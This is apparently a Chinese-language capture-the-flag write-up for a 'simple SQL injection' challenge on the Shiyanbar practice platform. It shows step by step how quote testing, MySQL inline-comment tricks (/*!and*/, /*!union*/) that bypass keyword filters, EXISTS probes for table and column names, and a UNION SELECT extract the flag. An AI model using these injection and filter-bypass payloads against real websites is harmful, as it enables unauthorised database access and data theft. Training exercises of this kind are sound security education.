作者:實驗吧
鏈接:https://zhuanlan.zhihu.com/p/21458828
來源:知乎
著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。
題目標題:簡單的SQL注入
題目描述:通過注入獲得flag值
解題鏈接:http://ctf5.shiyanbar.com/423/web/
就這樣一道難度中等的CTF題目,居然難住了94%的人,你有沒有信心要挑戰一下?、
題目鏈接:
Pcat牛的writeup
第一步先隨便提交1 也就是?id=1 得到 ID: 1 name: baloteli 提交?id=1' 報錯 near ''1''' 這是好事,說明單引號可以影響sql語句。 提交?id=1' or ''=' 得到 ID: 1' or ''=' name: baloteli ID: 1' or ''=' name: kanawaluo ID: 1' or ''=' name: dengdeng 這里ID很明顯是自己所注入的語句,只有name才是當前表里面的數據,這里可以留個心眼(當前表估計只查找一列) or沒被干掉是萬幸的萬幸,接下來試試哪些關鍵字被干掉 試下and,提交?id=1' and 1=1 or''=' 報錯,換大寫也報錯 既然被過濾掉了,就只能想想各種繞過法子 ?id=1' /*and*/ 1=1 or''=' 沒用 ?id=1' /*!and*/ 1=1 or''=' 可以,這么走運就試出來可行法子 于是之后試了幾個關鍵字,發現/*!關鍵字*/這樣就可以繞過 -------- 猜表名 ?id=' or /*!exists*/ (/*!select*/ * /*!from*/ admin) /*!and*/ ''=' 報錯Table 'web10.admin' doesn't exist 換flag猜下 ?id=' or /*!exists*/ (/*!select*/ * /*!from*/ flag) /*!and*/ ''=' 可以,那么就猜列名 ?id=' or /*!exists*/ (/*!select*/ id /*!from*/ flag) /*!and*/ ''=' ?id=' or /*!exists*/ (/*!select*/ name /*!from*/ flag) /*!and*/ ''=' 都可以 ----- 聯合查詢 ?id=' /*!union*/ /*!select*/ 1,2 /*!from*/ flag /*!where*/ ''=' 報錯The used SELECT statements have a different number of columns ?id=' /*!union*/ /*!select*/ 1 /*!from*/ flag /*!where*/ ''=' 可以,也證明一開始的猜想,當前表只查找一列 ?id=' /*!union*/ /*!select*/ name /*!from*/ flag /*!where*/ ''=' 報錯Unknowncolumn 'name' in 'field list' - - 這是大坑,明明之前exists判斷出有name列,結果這里聯合就報沒有這個name列,出題人肯定又做了什么手腳。 最后就是換了個列名,換flag這個列就可以過了。 (語句就自己看上面)
WriteUp作者為實驗吧用戶Pcat,轉載須注明來源。